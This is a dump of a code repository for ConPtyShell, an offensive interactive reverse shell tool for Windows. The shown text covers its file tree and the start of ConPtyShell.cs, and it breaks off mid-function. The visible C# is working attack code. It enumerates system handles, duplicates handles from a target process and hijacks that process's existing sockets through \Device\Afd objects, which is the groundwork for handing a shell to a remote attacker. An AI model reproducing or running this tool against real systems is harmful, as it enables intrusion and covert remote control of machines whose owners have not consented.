├── ConPtyShell.cs ├── Invoke-ConPtyShell.ps1 ├── LICENSE ├── README.md ├── ResizeConsole.ps1 ├── compile_command.txt ├── demo_1.gif └── demo_2.gif /ConPtyShell.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Threading; 5 | using System.Net; 6 | using System.Net.Sockets; 7 | using System.Net.NetworkInformation; 8 | using System.Runtime.InteropServices; 9 | using System.Diagnostics; 10 | using System.Collections.Generic; 11 | 12 | public class ConPtyShellException : Exception 13 | { 14 | private const string error_string = "[-] ConPtyShellException: "; 15 | 16 | public ConPtyShellException() { } 17 | 18 | public ConPtyShellException(string message) : base(error_string + message) { } 19 | } 20 | 21 | public class DeadlockCheckHelper 22 | { 23 | 24 | private bool deadlockDetected; 25 | private IntPtr targetHandle; 26 | 27 | private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); 28 | 29 | [DllImport("kernel32.dll")] 30 | private static extern bool CloseHandle(IntPtr hObject); 31 | 32 | [DllImport("kernel32.dll", SetLastError = true)] 33 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 34 | 35 | [DllImport("Kernel32.dll", SetLastError = true)] 36 | private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); 37 | 38 | private uint ThreadCheckDeadlock(uint threadParams) 39 | { 40 | IntPtr objPtr = IntPtr.Zero; 41 | objPtr = SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); 42 | this.deadlockDetected = false; 43 | if (objPtr != IntPtr.Zero) Marshal.FreeHGlobal(objPtr); 44 | return 0; 45 | } 46 | 47 | public bool CheckDeadlockDetected(IntPtr tHandle) 48 | { 49 | this.deadlockDetected = true; 50 | this.targetHandle = tHandle; 51 | LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); 52 | IntPtr hThread = IntPtr.Zero; 53 | uint threadId = 0; 54 | //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... 55 | hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); 56 | WaitForSingleObject(hThread, 1500); 57 | //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. 58 | //just some waste of threads :( 59 | CloseHandle(hThread); 60 | return this.deadlockDetected; 61 | } 62 | } 63 | 64 | public static class SocketHijacking 65 | { 66 | 67 | private const uint NTSTATUS_SUCCESS = 0x00000000; 68 | private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; 69 | private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; 70 | private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; 71 | private const int NTSTATUS_PENDING = 0x00000103; 72 | private const int WSA_FLAG_OVERLAPPED = 0x1; 73 | private const int DUPLICATE_SAME_ACCESS = 0x2; 74 | private const int SystemHandleInformation = 16; 75 | private const int PROCESS_DUP_HANDLE = 0x0040; 76 | private const int SIO_TCP_INFO = unchecked((int)0xD8000027); 77 | private const int SG_UNCONSTRAINED_GROUP = 0x1; 78 | private const int SG_CONSTRAINED_GROUP = 0x2; 79 | private const uint IOCTL_AFD_GET_CONTEXT = 0x12043; 80 | private const int EVENT_ALL_ACCESS = 0x1f0003; 81 | private const int SynchronizationEvent = 1; 82 | private const UInt32 INFINITE = 0xFFFFFFFF; 83 | 84 | 85 | private enum SOCKET_STATE : uint 86 | { 87 | SocketOpen = 0, 88 | SocketBound = 1, 89 | SocketBoundUdp = 2, 90 | SocketConnected = 3, 91 | SocketClosed = 3 92 | } 93 | 94 | private enum AFD_GROUP_TYPE : uint 95 | { 96 | GroupTypeNeither = 0, 97 | GroupTypeConstrained = SG_CONSTRAINED_GROUP, 98 | GroupTypeUnconstrained = SG_UNCONSTRAINED_GROUP 99 | } 100 | 101 | public enum OBJECT_INFORMATION_CLASS : int 102 | { 103 | ObjectBasicInformation = 0, 104 | ObjectNameInformation = 1, 105 | ObjectTypeInformation = 2, 106 | ObjectAllTypesInformation = 3, 107 | ObjectHandleInformation = 4 108 | } 109 | 110 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 111 | private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO 112 | { 113 | public ushort UniqueProcessId; 114 | public ushort CreatorBackTraceIndex; 115 | public byte ObjectTypeIndex; 116 | public byte HandleAttributes; 117 | public ushort HandleValue; 118 | public IntPtr Object; 119 | public IntPtr GrantedAccess; 120 | } 121 | 122 | [StructLayout(LayoutKind.Sequential)] 123 | private struct GENERIC_MAPPING 124 | { 125 | public int GenericRead; 126 | public int GenericWrite; 127 | public int GenericExecute; 128 | public int GenericAll; 129 | } 130 | 131 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 132 | private struct OBJECT_TYPE_INFORMATION_V2 133 | { 134 | public UNICODE_STRING TypeName; 135 | public uint TotalNumberOfObjects; 136 | public uint TotalNumberOfHandles; 137 | public uint TotalPagedPoolUsage; 138 | public uint TotalNonPagedPoolUsage; 139 | public uint TotalNamePoolUsage; 140 | public uint TotalHandleTableUsage; 141 | public uint HighWaterNumberOfObjects;// PeakObjectCount; 142 | public uint HighWaterNumberOfHandles;// PeakHandleCount; 143 | public uint HighWaterPagedPoolUsage; 144 | public uint HighWaterNonPagedPoolUsage; 145 | public uint HighWaterNamePoolUsage; 146 | public uint HighWaterHandleTableUsage; 147 | public uint InvalidAttributes; 148 | public GENERIC_MAPPING GenericMapping; 149 | public uint ValidAccessMask; 150 | public byte SecurityRequired;//bool 151 | public byte MaintainHandleCount;//bool 152 | public byte TypeIndex; 153 | public byte ReservedByte; 154 | public uint PoolType; 155 | public uint DefaultPagedPoolCharge;// PagedPoolUsage; 156 | public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage; 157 | } 158 | 159 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 160 | private struct OBJECT_NAME_INFORMATION 161 | { 162 | public UNICODE_STRING Name; 163 | } 164 | 165 | [StructLayout(LayoutKind.Sequential)] 166 | private struct UNICODE_STRING 167 | { 168 | public ushort Length; 169 | public ushort MaximumLength; 170 | public IntPtr Buffer; 171 | } 172 | 173 | [StructLayout(LayoutKind.Sequential)] 174 | private struct WSAData 175 | { 176 | public short wVersion; 177 | public short wHighVersion; 178 | public short iMaxSockets; 179 | public short iMaxUdpDg; 180 | public IntPtr lpVendorInfo; 181 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] 182 | public string szDescription; 183 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] 184 | public string szSystemStatus; 185 | } 186 | 187 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 188 | private struct WSAPROTOCOLCHAIN 189 | { 190 | public int ChainLen; 191 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] 192 | public uint[] ChainEntries; 193 | } 194 | 195 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] 196 | private struct WSAPROTOCOL_INFO 197 | { 198 | public uint dwServiceFlags1; 199 | public uint dwServiceFlags2; 200 | public uint dwServiceFlags3; 201 | public uint dwServiceFlags4; 202 | public uint dwProviderFlags; 203 | public Guid ProviderId; 204 | public uint dwCatalogEntryId; 205 | public WSAPROTOCOLCHAIN ProtocolChain; 206 | public int iVersion; 207 | public int iAddressFamily; 208 | public int iMaxSockAddr; 209 | public int iMinSockAddr; 210 | public int iSocketType; 211 | public int iProtocol; 212 | public int iProtocolMaxOffset; 213 | public int iNetworkByteOrder; 214 | public int iSecurityScheme; 215 | public uint dwMessageSize; 216 | public uint dwProviderReserved; 217 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] 218 | public string szProtocol; 219 | } 220 | 221 | [StructLayout(LayoutKind.Sequential)] 222 | private struct SOCKADDR_IN 223 | { 224 | public short sin_family; 225 | public short sin_port; 226 | public uint sin_addr; 227 | public long sin_zero; 228 | } 229 | 230 | [StructLayout(LayoutKind.Sequential)] 231 | private struct TCP_INFO_v0 232 | { 233 | public TcpState State; 234 | public UInt32 Mss; 235 | public UInt64 ConnectionTimeMs; 236 | public byte TimestampsEnabled; 237 | public UInt32 RttUs; 238 | public UInt32 MinRttUs; 239 | public UInt32 BytesInFlight; 240 | public UInt32 Cwnd; 241 | public UInt32 SndWnd; 242 | public UInt32 RcvWnd; 243 | public UInt32 RcvBuf; 244 | public UInt64 BytesOut; 245 | public UInt64 BytesIn; 246 | public UInt32 BytesReordered; 247 | public UInt32 BytesRetrans; 248 | public UInt32 FastRetrans; 249 | public UInt32 DupAcksIn; 250 | public UInt32 TimeoutEpisodes; 251 | public byte SynRetrans; 252 | } 253 | 254 | [StructLayout(LayoutKind.Sequential)] 255 | private struct linger 256 | { 257 | public UInt16 l_onoff; 258 | public UInt16 l_linger; 259 | } 260 | 261 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 262 | private struct IO_STATUS_BLOCK 263 | { 264 | public int status; 265 | public IntPtr information; 266 | } 267 | 268 | [StructLayout(LayoutKind.Sequential)] 269 | private struct SOCK_SHARED_INFO 270 | { 271 | public SOCKET_STATE State; 272 | public Int32 AddressFamily; 273 | public Int32 SocketType; 274 | public Int32 Protocol; 275 | public Int32 LocalAddressLength; 276 | public Int32 RemoteAddressLength; 277 | 278 | // Socket options controlled by getsockopt(), setsockopt(). 279 | public linger LingerInfo; 280 | public UInt32 SendTimeout; 281 | public UInt32 ReceiveTimeout; 282 | public UInt32 ReceiveBufferSize; 283 | public UInt32 SendBufferSize; 284 | /* Those are the bits in the SocketProerty, proper order: 285 | Listening; 286 | Broadcast; 287 | Debug; 288 | OobInline; 289 | ReuseAddresses; 290 | ExclusiveAddressUse; 291 | NonBlocking; 292 | DontUseWildcard; 293 | ReceiveShutdown; 294 | SendShutdown; 295 | ConditionalAccept; 296 | */ 297 | public ushort SocketProperty; 298 | // Snapshot of several parameters passed into WSPSocket() when creating this socket 299 | public UInt32 CreationFlags; 300 | public UInt32 CatalogEntryId; 301 | public UInt32 ServiceFlags1; 302 | public UInt32 ProviderFlags; 303 | public UInt32 GroupID; 304 | public AFD_GROUP_TYPE GroupType; 305 | public Int32 GroupPriority; 306 | // Last error set on this socket 307 | public Int32 LastError; 308 | // Info stored for WSAAsyncSelect() 309 | public IntPtr AsyncSelecthWnd; 310 | public UInt32 AsyncSelectSerialNumber; 311 | public UInt32 AsyncSelectwMsg; 312 | public Int32 AsyncSelectlEvent; 313 | public Int32 DisabledAsyncSelectEvents; 314 | } 315 | 316 | [StructLayout(LayoutKind.Sequential)] 317 | private struct SOCKADDR 318 | { 319 | public UInt16 sa_family; 320 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 14)] 321 | public byte[] sa_data; 322 | } 323 | 324 | [StructLayout(LayoutKind.Sequential)] 325 | private struct SOCKET_CONTEXT 326 | { 327 | public SOCK_SHARED_INFO SharedData; 328 | public UInt32 SizeOfHelperData; 329 | public UInt32 Padding; 330 | public SOCKADDR LocalAddress; 331 | public SOCKADDR RemoteAddress; 332 | // Helper Data - found out with some reversing 333 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 24)] 334 | public byte[] HelperData; 335 | } 336 | 337 | private struct SOCKET_BYTESIN 338 | { 339 | public IntPtr handle; 340 | public UInt64 BytesIn; 341 | } 342 | 343 | 344 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 345 | private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); 346 | 347 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] 348 | private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags); 349 | 350 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] 351 | private static extern Int32 WSAGetLastError(); 352 | 353 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] 354 | private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); 355 | 356 | // WSAIoctl1 implementation specific for SIO_TCP_INFO control code 357 | [DllImport("Ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "WSAIoctl")] 358 | public static extern int WSAIoctl1(IntPtr s, int dwIoControlCode, ref UInt32 lpvInBuffer, int cbInBuffer, IntPtr lpvOutBuffer, int cbOutBuffer, ref int lpcbBytesReturned, IntPtr lpOverlapped, IntPtr lpCompletionRoutine); 359 | 360 | [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 361 | private static extern int closesocket(IntPtr s); 362 | 363 | [DllImport("kernel32.dll", SetLastError = true)] 364 | private static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId); 365 | 366 | [DllImport("kernel32.dll", SetLastError = true)] 367 | [return: MarshalAs(UnmanagedType.Bool)] 368 | private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 369 | 370 | [DllImport("kernel32.dll")] 371 | private static extern bool CloseHandle(IntPtr hObject); 372 | 373 | [DllImport("kernel32.dll")] 374 | private static extern IntPtr GetCurrentProcess(); 375 | 376 | [DllImport("ntdll.dll")] 377 | private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength); 378 | 379 | [DllImport("ntdll.dll")] 380 | private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); 381 | 382 | [DllImport("kernel32.dll", SetLastError = true)] 383 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 384 | 385 | [DllImport("ntdll.dll")] 386 | private static extern int NtCreateEvent(ref IntPtr EventHandle, int DesiredAccess, IntPtr ObjectAttributes, int EventType, bool InitialState); 387 | 388 | // NtDeviceIoControlFile1 implementation specific for IOCTL_AFD_GET_CONTEXT IoControlCode 389 | [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")] 390 | private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength); 391 | 392 | [DllImport("Ws2_32.dll")] 393 | public static extern int ioctlsocket(IntPtr s, int cmd, ref int argp); 394 | 395 | //helper method with "dynamic" buffer allocation 396 | private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) 397 | { 398 | if (infoLength == 0) 399 | infoLength = 0x10000; 400 | IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); 401 | while (true) 402 | { 403 | uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); 404 | infoLength = infoLength * 2; 405 | if (result == NTSTATUS_SUCCESS) 406 | return infoPtr; 407 | Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful 408 | if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) 409 | { 410 | //throw new Exception("Unhandled NtStatus " + result); 411 | return IntPtr.Zero; 412 | } 413 | infoPtr = Marshal.AllocHGlobal(infoLength); 414 | } 415 | } 416 | 417 | private static IntPtr QueryObjectTypesInfo() 418 | { 419 | IntPtr ptrObjectTypesInformation = IntPtr.Zero; 420 | ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0); 421 | return ptrObjectTypesInformation; 422 | } 423 | 424 | // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h 425 | private static long AlignUp(long address, long align) 426 | { 427 | return (((address) + (align) - 1) & ~((align) - 1)); 428 | } 429 | 430 | // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types. 431 | // credits for this goes to @0xrepnz 432 | // more information here --> https://twitter.com/splinter_code/status/1400873009121013765 433 | private static byte GetTypeIndexByName(string ObjectName) 434 | { 435 | byte TypeIndex = 0; 436 | long TypesCount = 0; 437 | IntPtr ptrTypesInfo = IntPtr.Zero; 438 | ptrTypesInfo = QueryObjectTypesInfo(); 439 | TypesCount = Marshal.ReadIntPtr(ptrTypesInfo).ToInt64(); 440 | // create a pointer to the first element address of OBJECT_TYPE_INFORMATION_V2 441 | IntPtr ptrTypesInfoCurrent = new IntPtr(ptrTypesInfo.ToInt64() + IntPtr.Size); 442 | for (int i = 0; i < TypesCount; i++) 443 | { 444 | OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2)); 445 | // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object 446 | ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(typeof(OBJECT_TYPE_INFORMATION_V2))); 447 | if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName) 448 | { 449 | TypeIndex = Type.TypeIndex; 450 | break; 451 | } 452 | } 453 | Marshal.FreeHGlobal(ptrTypesInfo); 454 | return TypeIndex; 455 | } 456 | 457 | private static List DuplicateSocketsFromHandles(List sockets) 458 | { 459 | List dupedSocketsOut = new List(); 460 | if (sockets.Count < 1) return dupedSocketsOut; 461 | foreach (IntPtr sock in sockets) 462 | { 463 | IntPtr dupedSocket = DuplicateSocketFromHandle(sock); 464 | if (dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket); 465 | } 466 | // cleaning all socket handles 467 | foreach (IntPtr sock in sockets) 468 | CloseHandle(sock); 469 | return dupedSocketsOut; 470 | } 471 | 472 | private static List FilterAndOrderSocketsByBytesIn(List sockets) 473 | { 474 | List socketsBytesIn = new List(); 475 | List socketsOut = new List(); 476 | foreach (IntPtr sock in sockets) 477 | { 478 | TCP_INFO_v0 sockInfo = new TCP_INFO_v0(); 479 | if (!GetSocketTcpInfo(sock, out sockInfo)) 480 | { 481 | closesocket(sock); 482 | continue; 483 | } 484 | // Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString()); 485 | // we need only active sockets, the remaing sockets are filtered out 486 | if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established) 487 | { 488 | SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN(); 489 | sockBytesIn.handle = sock; 490 | sockBytesIn.BytesIn = sockInfo.BytesIn; 491 | socketsBytesIn.Add(sockBytesIn); 492 | } 493 | else 494 | closesocket(sock); 495 | } 496 | if (socketsBytesIn.Count < 1) return socketsOut; 497 | if (socketsBytesIn.Count >= 2) 498 | // ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket 499 | socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); }); 500 | foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn) 501 | { 502 | socketsOut.Add(sockBytesIn.handle); 503 | // Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString()); 504 | } 505 | return socketsOut; 506 | } 507 | 508 | private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut) 509 | { 510 | int result = -1; 511 | UInt32 tcpInfoVersion = 0; 512 | int bytesReturned = 0; 513 | int tcpInfoSize = Marshal.SizeOf(typeof(TCP_INFO_v0)); 514 | IntPtr tcpInfoPtr = Marshal.AllocHGlobal(tcpInfoSize); 515 | result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero); 516 | if (result != 0) 517 | { 518 | // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); 519 | tcpInfoOut = new TCP_INFO_v0(); 520 | return false; 521 | } 522 | TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); 523 | tcpInfoOut = tcpInfoV0; 524 | Marshal.FreeHGlobal(tcpInfoPtr); 525 | return true; 526 | } 527 | 528 | // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket 529 | private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) 530 | { 531 | IntPtr retSocket = IntPtr.Zero; 532 | IntPtr duplicatedSocket = IntPtr.Zero; 533 | WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); 534 | int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); 535 | if (status == 0) 536 | { 537 | // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag. 538 | duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0); 539 | if (duplicatedSocket.ToInt64() > 0) 540 | { 541 | retSocket = duplicatedSocket; 542 | } 543 | } 544 | return retSocket; 545 | } 546 | 547 | //helper method with "dynamic" buffer allocation 548 | public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) 549 | { 550 | if (infoLength == 0) 551 | infoLength = Marshal.SizeOf(typeof(int)); 552 | IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); 553 | uint result; 554 | while (true) 555 | { 556 | result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); 557 | if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) 558 | { 559 | Marshal.FreeHGlobal(infoPtr); 560 | infoPtr = Marshal.AllocHGlobal((int)infoLength); 561 | continue; 562 | } 563 | else if (result == NTSTATUS_SUCCESS) 564 | break; 565 | else 566 | { 567 | //throw new Exception("Unhandled NtStatus " + result); 568 | break; 569 | } 570 | } 571 | if (result == NTSTATUS_SUCCESS) 572 | return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it 573 | else 574 | Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful 575 | return IntPtr.Zero; 576 | } 577 | 578 | public static List GetSocketsTargetProcess(Process targetProcess) 579 | { 580 | OBJECT_NAME_INFORMATION objNameInfo; 581 | long HandlesCount = 0; 582 | IntPtr dupHandle; 583 | IntPtr ptrObjectName; 584 | IntPtr ptrHandlesInfo; 585 | IntPtr hTargetProcess; 586 | string strObjectName; 587 | List socketsHandles = new List(); 588 | DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); 589 | hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id); 590 | if (hTargetProcess == IntPtr.Zero) 591 | { 592 | Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); 593 | return socketsHandles; 594 | } 595 | ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); 596 | HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); 597 | // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] 598 | IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64() + IntPtr.Size); 599 | // get TypeIndex for "File" objects, needed to filter only sockets objects 600 | byte TypeIndexFileObject = GetTypeIndexByName("File"); 601 | for (int i = 0; i < HandlesCount; i++) 602 | { 603 | SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; 604 | try 605 | { 606 | sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); 607 | } 608 | catch 609 | { 610 | break; 611 | } 612 | //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO 613 | ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))); 614 | if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) 615 | continue; 616 | if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) 617 | { 618 | if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) 619 | { // this will avoids deadlocks on special named pipe handles 620 | // Console.WriteLine("debug: Deadlock detected"); 621 | CloseHandle(dupHandle); 622 | continue; 623 | } 624 | ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); 625 | if (ptrObjectName == IntPtr.Zero) 626 | { 627 | CloseHandle(dupHandle); 628 | continue; 629 | } 630 | try 631 | { 632 | objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); 633 | } 634 | catch 635 | { 636 | CloseHandle(dupHandle); 637 | continue; 638 | } 639 | if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) 640 | { 641 | strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); 642 | // Console.WriteLine("debug: file handle 0x" + dupHandle.ToString("X4") + " strObjectName = " + strObjectName); 643 | if (strObjectName == "\\Device\\Afd") 644 | socketsHandles.Add(dupHandle); 645 | else 646 | CloseHandle(dupHandle); 647 | } 648 | else 649 | CloseHandle(dupHandle); 650 | Marshal.FreeHGlobal(ptrObjectName); 651 | ptrObjectName = IntPtr.Zero; 652 | } 653 | } 654 | Marshal.FreeHGlobal(ptrHandlesInfo); 655 | List dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles); 656 | if (dupedSocketsHandles.Count >= 1) 657 | dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles); 658 | socketsHandles = dupedSocketsHandles; 659 | return socketsHandles; 660 | } 661 | 662 | public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) 663 | { 664 | bool inherited = false; 665 | List parentSocketsHandles = GetSocketsTargetProcess(parentProcess); 666 | if (parentSocketsHandles.Count < 1) 667 | return inherited; 668 | foreach (IntPtr parentSocketHandle in parentSocketsHandles) 669 | { 670 | SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); 671 | SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); 672 | int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); 673 | int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); 674 | if ( 675 | (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) && 676 | (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) && 677 | (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) 678 | ) 679 | { 680 | // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); 681 | inherited = true; 682 | } 683 | closesocket(parentSocketHandle); 684 | } 685 | return inherited; 686 | } 687 | 688 | public static bool IsSocketOverlapped(IntPtr socket) 689 | { 690 | bool ret = false; 691 | IntPtr sockEvent = IntPtr.Zero; 692 | int ntStatus = -1; 693 | SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); 694 | ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); 695 | if (ntStatus != NTSTATUS_SUCCESS) 696 | { 697 | // Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; 698 | return ret; 699 | } 700 | IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); 701 | ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); 702 | // Wait for Completion 703 | if (ntStatus == NTSTATUS_PENDING) 704 | { 705 | WaitForSingleObject(sockEvent, INFINITE); 706 | ntStatus = IOSB.status; 707 | } 708 | CloseHandle(sockEvent); 709 | 710 | if (ntStatus != NTSTATUS_SUCCESS) 711 | { 712 | // Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; 713 | return ret; 714 | } 715 | if ((contextData.SharedData.CreationFlags & 